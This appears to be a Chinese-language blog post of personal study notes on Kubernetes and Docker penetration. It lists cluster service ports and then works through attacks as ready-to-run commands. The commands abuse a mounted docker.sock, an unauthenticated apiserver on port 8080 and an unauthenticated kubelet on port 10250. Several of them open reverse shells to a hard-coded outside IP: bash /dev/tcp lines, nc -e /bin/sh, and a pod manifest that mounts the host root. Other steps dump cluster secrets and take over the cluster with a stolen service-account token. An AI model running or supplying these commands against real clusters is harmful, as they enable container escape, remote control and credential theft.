容器安全 & 容器渗透学习笔记

基础概念

docker基础就不写了,k8s需要学习一些概念,比如pod、namespace、deployment、service,最常用的就是pod了。

还有一些概念要懂比如kubeconfig、k8s apiserver、k8s master,比如kutectl如何与apiserver通信、apiserver如何通过kubelet控制pod,这些对于理解云渗透都很重要,这里就不介绍了。

通常来说,对于云渗透,拿到kubeconfig或者能访问apiserver的serviceaccount token,或者是拿到了apiserver所在的master node的权限,就代表着控下了整个云环境。

常用服务端口:

1
2
3
4
5
6
7
8
9
10
11
kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
dashboard: 30000
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080

常用操作

1
2
3
4
5
6
7
8
# 获取pods list, 也可通过-n xx指定
kubectl get pods -s http://119.28.49.133:8001/ --all-namespaces
# 进入pods, 也可通过-n指定namespace,-c指定container
kubectl exec -it myapp bash -s xxx
# 删除pods
kubectl delete pod hello1-xhdr2 --grace-period=0 --force -s xxx
# 部署pods
kubectl apply -f test.yaml -s http://119.28.49.133:8001/

docker.sock

原理 & 手动

1
2
https://www.cdxy.me/?p=818
docker.sock是Docker deamon监听的Unix socket,能与其通信意味着可以管理docker。该接口默认以root权限运行,仅对启动docker服务的宿主机暴露,但由于一些业务场景的部署需求,可能导致逃逸风险。

比如将docker.sock挂载到容器内部:

1
2
docker -v /var/run/docker.sock:/var/run/docker.sock
find / -name docker.sock # 找全盘有无.sock

除此之外,还有swarm也会在127监听2375来管理dokcer集群。

1
2
3
4
# de163d538796xxx是container id,执行后创建一个在这个container中执行的任务,将输出的task id替换到下一条命令的7dxxx那里
curl -s --unix-socket /var/run/docker.sock -X POST "http://127.0.0.1/containers/de163d5387963fc0803702fafc98f5bbdd3769eccb4fd2e54ea9a885253fbe84/exec" -H "Content-Type: application/json" --data-binary '{"Cmd": ["bash", "-c", "bash -i >& /dev/tcp/139.199.203.253/1234 0>&1"]}'

curl -s --unix-socket /var/run/docker.sock -X POST "http://127.0.0.1/exec/7d179532a7ec2951b8b23e05161eebcadda60fffdbe54f45395929d010a34972/start" -H "Content-Type: application/json" --data-binary "{}"

后续利用可以尝试docker逃逸,参考这篇文章

利用CDK逃逸

1
2
# 在宿主机创建文件
./cdk run docker-sock-pwn /run/docker.sock "touch /host/tmp/pwn"

注意,这个的原理是新拉一个alpine的docker然后把宿主机的host挂进去,所以container立刻会退出。好用的姿势:

1
./cdk run docker-sock-pwn /run/docker.sock "sleep 1000000 | nc 139.199.203.253 1234 -e /bin/sh"

kube-apiserver 8080未授权利用

直接把宿主机的/挂到pod的/mnt,然后加ssh key就行,具体利用参考docker.sock的挂载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
apiVersion: v1
kind: Pod
metadata:
name: test1
spec:
containers:
- image: nginx
name: test2
command: ['bash', '-c', '/bin/bash -i >& /dev/tcp/139.199.203.253/1234 0>&1']
volumeMounts:
- mountPath: /mnt
name: test-volume
volumes:
- name: test-volume
hostPath:
path: /

kubelet 10250未授权利用

每个node上都有一个agent,apiserver通过与其交互来监控pod的运行和生命周期。
rce:
curl -k https://Kubernetes-node-ip:10250/run/kube-system/pod/kube-proxy -d "cmd=id"
kube-system是namespace,pod是要rce的pod_name,后边跟命令即可。

cdk k8s 常见利用

  • 信息搜集比较有用,可以找到docker.sock、k8s-api-serber、service-account-token-path等等很多新东西./cdk evaluate --full
  • 得到信息首先看是否可以通过service-account-token或者apiserver的未授权接管k8s,可以的话试着dump secret,里边可能有ak等敏感信息./cdk run k8s-secret-dump auto

通过token认证访问API-Server,接管集群:
kubectl –insecure-skip-tls-verify -s https://127.0.0.1:6443/ –token=”[ey…]” -n kube-system get pods

token就是刚才的/var/run/secrets/kubernetes.io/serviceaccount/token

kcurl

–v=8可以拿到request的url和body啥的,比如要通过api-server执行get-pods,则:kubectl get pods -n metarget --v=8

Proudly powered by Hexo and Theme by Hacker
© 2021 LFY